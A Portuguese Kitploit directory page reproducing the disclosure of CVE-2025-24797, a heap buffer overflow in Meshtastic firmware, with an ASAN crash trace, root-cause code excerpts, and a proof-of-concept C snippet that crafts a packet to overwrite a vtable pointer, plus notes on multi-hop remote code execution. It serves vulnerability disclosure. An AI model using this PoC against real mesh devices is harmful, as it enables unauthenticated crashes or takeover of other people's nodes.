Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-24797 — Vulnerabilidade de buffer overflow no Meshtastic - CVE-2025-24797 | Kitploit
Ferramentas/GitHubGitHub/alainx277/cve-2025-24797
Segurança de Sistemas EmbarcadosSegurança IoTAnálise de VulnerabilidadesExploraçãoFuzzingSegurança Sem FioExploração de Binários
GitHubalainx277/cve-2025-24797

CVE-2025-24797

Vulnerabilidade de buffer overflow no Meshtastic - CVE-2025-24797

Ver Repositório
23há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-24797

CVE-2025-24797 Detalhe - NVD

Resumo

Uma falha no tratamento de pacotes mesh contendo dados protobuf inválidos pode resultar em um estouro de buffer controlado pelo atacante, permitindo que um atacante sequestre o fluxo de execução, potencialmente resultando em execução remota de código. Este ataque não requer autenticação ou interação do usuário, desde que o dispositivo alvo retransmita pacotes no canal padrão.

Causa raiz

A vulnerabilidade foi originalmente descoberta usando fuzzing, resultando na seguinte parada do ASAN:

root@kitploit:~
DEBUG | 22:27:03 0 State: BOOT
DEBUG | 22:27:03 0 Lora RX (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=3 Ch=0x8 encrypted hopStart=3)
DEBUG | 22:27:03 0 Packet RX: 845ms
DEBUG | 22:27:03 0 [Router] Add packet record (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=3 Ch=0x8 encrypted hopStart=3)
DEBUG | 22:27:03 0 [Router] Use channel 0 (hash 0x8)
DEBUG | 22:27:03 0 [Router] Expand short PSK #1
DEBUG | 22:27:03 0 [Router] Use AES128 key!
ERROR | 22:27:03 0 [Router] Can't decode protobuf reason='wrong wire type', pb_msgdesc 0x55f23cf543c0
ERROR | 22:27:03 0 [Router] Invalid protobufs in received mesh packet id=0x76f4febf (bad psk?)!
WARN  | 22:27:03 0 [Router] No suitable channel found for decoding, hash was 0x8!
DEBUG | 22:27:03 0 [Router] packet decoding failed or skipped (no PSK?) (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=3 Ch=0x8 encrypted rxtime=1736461623 hopStart=3)
DEBUG | 22:27:03 0 [Router] Module 'routing' wantsPacket=1
INFO  | 22:27:03 0 [Router] Received routing from=0x10, id=0x76f4febf, portnum=10320, payloadlen=25
DEBUG | 22:27:03 0 [Router] Routing sniffing (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=3 Ch=0x8 encrypted rxtime=1736461623 hopStart=3)
INFO  | 22:27:03 0 [Router] Rebroadcast received floodmsg
DEBUG | 22:27:03 0 [Router] enqueuing for send (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=2 Ch=0x8 encrypted rxtime=1736461623 hopStart=3 priority=64)
DEBUG | 22:27:03 0 [Router] Set random delay before tx
DEBUG | 22:27:03 0 [Router] Delivering rx packet (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=3 Ch=0x8 encrypted rxtime=1736461623 hopStart=3)
DEBUG | 22:27:03 0 [Router] Forwarding to phone (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=3 Ch=0x8 encrypted rxtime=1736461623 hopStart=3)
ERROR | 22:27:03 0 [Router] Packet too large to attempt decryption! (rawSize=10320 > 256)
DEBUG | 22:27:03 0 [Router] Module 'routing' considered
DEBUG | 22:27:03 0 [SimRadio] delay done
DEBUG | 22:27:03 0 [SimRadio] Start low level send (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=2 Ch=0x8 encrypted rxtime=1736461623 hopStart=3 priority=64)
=================================================================
==6992==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6130000006e0 at pc 0x7f85755a7397 bp 0x7fff161319a0 sp 0x7fff16131148
READ of size 10320 at 0x6130000006e0 thread T0
    #0 0x7f85755a7396 in __interceptor_memcpy ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:827
    #1 0x55f23a1c40d2 in RadioInterface::beginSending(_meshtastic_MeshPacket*) src/mesh/RadioInterface.cpp:621
    #2 0x55f23a297a8d in SimRadio::startSend(_meshtastic_MeshPacket*) src/platform/portduino/SimRadio.cpp:261
    #3 0x55f23a29782f in SimRadio::onNotify(unsigned int) src/platform/portduino/SimRadio.cpp:231
    #4 0x55f23a0c8ee2 in concurrency::NotifiedWorkerThread::checkNotification() src/concurrency/NotifiedWorkerThread.cpp:82
    #5 0x55f23a0c8f3c in concurrency::NotifiedWorkerThread::runOnce() src/concurrency/NotifiedWorkerThread.cpp:89
    #6 0x55f23a0c9623 in concurrency::OSThread::run() src/concurrency/OSThread.cpp:85
    #7 0x55f23a2d0f66 in ThreadController::runOrDelay() .pio/libdeps/native/Thread/ThreadController.cpp:59
    #8 0x55f23a154893 in loop src/main.cpp:1259
    #9 0x55f23a3a54db in main /home/alain/.platformio/packages/framework-portduino/cores/portduino/main.cpp:226
    #10 0x7f8574ad7d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #11 0x7f8574ad7e3f in __libc_start_main_impl ../csu/libc-start.c:392
    #12 0x55f239f8f8b4 in _start (/home/alain/marc/program+0x1098b4)

0x6130000006e0 is located 0 bytes to the right of 352-byte region [0x613000000580,0x6130000006e0)
allocated by thread T0 here:
    #0 0x7f8575621887 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
    #1 0x55f23a1d55ac in MemoryDynamic<_meshtastic_MeshPacket>::alloc(unsigned int) src/mesh/MemoryPool.h:71
    #2 0x55f23a16aeb3 in Allocator<_meshtastic_MeshPacket>::allocCopy(_meshtastic_MeshPacket const&, unsigned int) src/mesh/MemoryPool.h:38
    #3 0x55f23a16a573 in FloodingRouter::perhapsRebroadcast(_meshtastic_MeshPacket const*) src/mesh/FloodingRouter.cpp:60
    #4 0x55f23a16a91e in FloodingRouter::sniffReceived(_meshtastic_MeshPacket const*, _meshtastic_Routing const*) src/mesh/FloodingRouter.cpp:97
    #5 0x55f23a1ca301 in ReliableRouter::sniffReceived(_meshtastic_MeshPacket const*, _meshtastic_Routing const*) src/mesh/ReliableRouter.cpp:141
    #6 0x55f23a220710 in RoutingModule::handleReceivedProtobuf(_meshtastic_MeshPacket const&, _meshtastic_Routing*) src/modules/RoutingModule.cpp:26
    #7 0x55f23a22141f in ProtobufModule<_meshtastic_Routing>::handleReceived(_meshtastic_MeshPacket const&) src/mesh/ProtobufModule.h:100
    #8 0x55f23a17e8fa in MeshModule::callModules(_meshtastic_MeshPacket&, RxSource) src/mesh/MeshModule.cpp:132
    #9 0x55f23a1d437b in Router::handleReceived(_meshtastic_MeshPacket*, RxSource) src/mesh/Router.cpp:618
    #10 0x55f23a1d5211 in Router::perhapsHandleReceived(_meshtastic_MeshPacket*) src/mesh/Router.cpp:681
    #11 0x55f23a1cfc2c in Router::runOnce() src/mesh/Router.cpp:71
    #12 0x55f23a1cc01d in ReliableRouter::runOnce() src/mesh/ReliableRouter.h:79
    #13 0x55f23a0c9623 in concurrency::OSThread::run() src/concurrency/OSThread.cpp:85
    #14 0x55f23a2d0f66 in ThreadController::runOrDelay() .pio/libdeps/native/Thread/ThreadController.cpp:59
    #15 0x55f23a154893 in loop src/main.cpp:1259
    #16 0x55f23a3a54db in main /home/alain/.platformio/packages/framework-portduino/cores/portduino/main.cpp:226
    #17 0x7f8574ad7d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58

SUMMARY: AddressSanitizer: heap-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:827 in __interceptor_memcpy
Shadow bytes around the buggy address:
  0x0c267fff8080: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c267fff8090: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c267fff80a0: fd fd fd fd fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c267fff80b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c267fff80c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c267fff80d0: 00 00 00 00 00 00 00 00 00 00 00 00[fa]fa fa fa
  0x0c267fff80e0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x0c267fff80f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c267fff8100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c267fff8110: 00 00 00 00 fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c267fff8120: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==6992==ABORTING

A corrupção ocorre quando um pacote é enviado durante a operação memcpy, copiando os bytes criptografados para o radioBuffer. O campo p->encrypted.size tem um valor maior que o tamanho de radioBuffer.payload (240 bytes).

root@kitploit:~
// src/mesh/RadioInterface.cpp

size_t RadioInterface::beginSending(meshtastic_MeshPacket *p)
{
    // ...
    memcpy(radioBuffer.payload, p->encrypted.bytes, p->encrypted.size);

    // ...
}

A causa para o valor de tamanho inválido é um bug lógico que ocorre ao decodificar pacotes. Os dados do pacote descriptografado são decodificados usando pb_decode_from_bytes, com o destino sendo a estrutura do pacote recebido p.

root@kitploit:~
// src/mesh/Router.cpp

bool perhapsDecode(meshtastic_MeshPacket *p)
{
    // ...
    // Try to decrypt the packet if we can
    crypto->decrypt(p->from, p->id, rawSize, bytes);
  
    // printBytes("plaintext", bytes, p->encrypted.size);
  
    // Take those raw bytes and convert them back into a well structured protobuf we can understand
    memset(&p->decoded, 0, sizeof(p->decoded));
    if (!pb_decode_from_bytes(bytes, rawSize, &meshtastic_Data_msg, &p->decoded)) {
        LOG_ERROR("Invalid protobufs in received mesh packet id=0x%08x (bad psk?)!", p->id);
    } else if (p->decoded.portnum == meshtastic_PortNum_UNKNOWN_APP) {
        LOG_ERROR("Invalid portnum (bad psk?)!");
    } else {
        decrypted = true;
        break;
    }
  // ...
}

Se a decodificação for bem-sucedida, decrypted é definido como true e which_payload_variant é atualizado corretamente para meshtastic_MeshPacket_decoded_tag.

root@kitploit:~
// src/mesh/Router.cpp

bool perhapsDecode(meshtastic_MeshPacket *p)
{
    // ...

    if (decrypted) {
        // parsing was successful
        p->which_payload_variant = meshtastic_MeshPacket_decoded_tag; // change type to decoded

    // ...

No entanto, se a decodificação não for bem-sucedida, which_payload_variant não é atualizado. Como p->encrypted e p->decoded são implementados usando uma união e suas áreas de memória se sobrepõem, os dados em p->encrypted foram corrompidos com os dados parciais decodificados por pb_decode_from_bytes e são inseguros para uso.

Como os nós retransmitem pacotes recebidos por padrão, o pacote corrompido é agendado para envio. Em RadioInterface::beginSending, o código afirma corretamente que o pacote está no formato criptografado e assume que p->encrypted é seguro para acessar, levando ao tamanho corrompido sendo passado para memcpy, potencialmente estourando o buffer.

PoC

Este é um exemplo de código que mostra como enviar uma mensagem maliciosa que aciona a vulnerabilidade.

root@kitploit:~
uint32_t from = 2;
uint32_t id = 2;

meshtastic_Data d = meshtastic_Data_init_default;
// We can choose the memcpy size by setting portnum, as it overlaps with the `encrypted->size` field
uint16_t memcpy_size = sizeof(meshtastic_Data);
d.portnum = static_cast<meshtastic_PortNum>(memcpy_size);
// This is the data written outside of radioBuffer
d.dest = 0xAAAAAAAA;
// Overwrites virtual table pointer
d.source = 0xBBBBBBBB;
d.request_id = 0xCCCCCCCC;
d.reply_id = 0xDDDDDDDD;
d.emoji = 0xEEEEEEEE;
d.has_bitfield = false;

byte internal_data[256] = {};
size_t internal_size = pb_encode_to_bytes(internal_data, sizeof(internal_data), &meshtastic_Data_msg, &d);

// Cause deserialization to fail by adding a stray byte
assert(internal_size < sizeof(internal_data));
internal_data[internal_size] = 0xFF;
internal_size += 1;

channels.setActiveByIndex(0);
crypto->encryptPacket(from, id, internal_size, internal_data);

meshtastic_MeshPacket p = meshtastic_MeshPacket_init_default;
p.from = from;
p.to = 4294967295; // Broadcast
p.id = id;
p.channel = 0x8;
p.hop_limit = 3;
p.hop_start = 3;
p.which_payload_variant = meshtastic_MeshPacket_encrypted_tag;
p.encrypted.size = internal_size;
memcpy(p.encrypted.bytes, internal_data, sizeof(p.encrypted.bytes));


meshtastic_MeshPacket *allocPacket = packetPool.allocCopy(p);
rIf->send(allocPacket);

E aqui está o nó receptor travando ao tentar carregar nosso ponteiro de vtable sobrescrito:

402298428-01fcba5c-ca4c-4ad9-824c-2747c540b585

Impacto

O atacante tem controle sobre o tamanho e conteúdo do buffer porque os dados escritos são baseados nos dados do pacote criptografado que está sendo decodificado. Ao modificar o tamanho do memcpy, um atacante pode corromper estruturas de dados do heap, levando a uma negação de serviço.

O atacante também tem controle sobre uma parte limitada da área de estouro, pois a estrutura meshtastic_Packet é maior que o RadioBuffer de destino. Após o radioBuffer, três campos de estrutura seguem: int8_t power; float savedFreq; uint32_t savedChannelNum. Eles não são usados durante a operação e podem ser sobrescritos com segurança. Após esses campos, o ponteiro da tabela virtual para concurrency::NotifiedWorkerThread segue. Ao sobrescrever este ponteiro, um atacante pode redirecionar arbitrariamente a execução na próxima vez que a thread for executada, potencialmente permitindo execução remota de código.

Estimamos que um exploit RCE funcional seja relativamente simples em sistemas embarcados sem ASLR ou proteção de execução de memória, pois o atacante pode incluir shellcode diretamente dentro do pacote. Se proteções de execução de memória estiverem em vigor, um atacante pode ser capaz de alcançar RCE ou outro comportamento destrutivo chamando métodos existentes no firmware. Se ASLR estiver presente, assumimos que outra vulnerabilidade seja necessária para vazar endereços.

Esta vulnerabilidade pode ser abusada mesmo em nós que estão a vários saltos de distância. Como o pacote é retransmitido, um atacante pode aninhar vários estágios dos dados criptografados malformados, onde os estágios iniciais sobrescrevem o campo de tamanho com valores válidos. Os dados serão descompactados em cada salto até que a sobrescrita final seja acionada.

Baixar ferramenta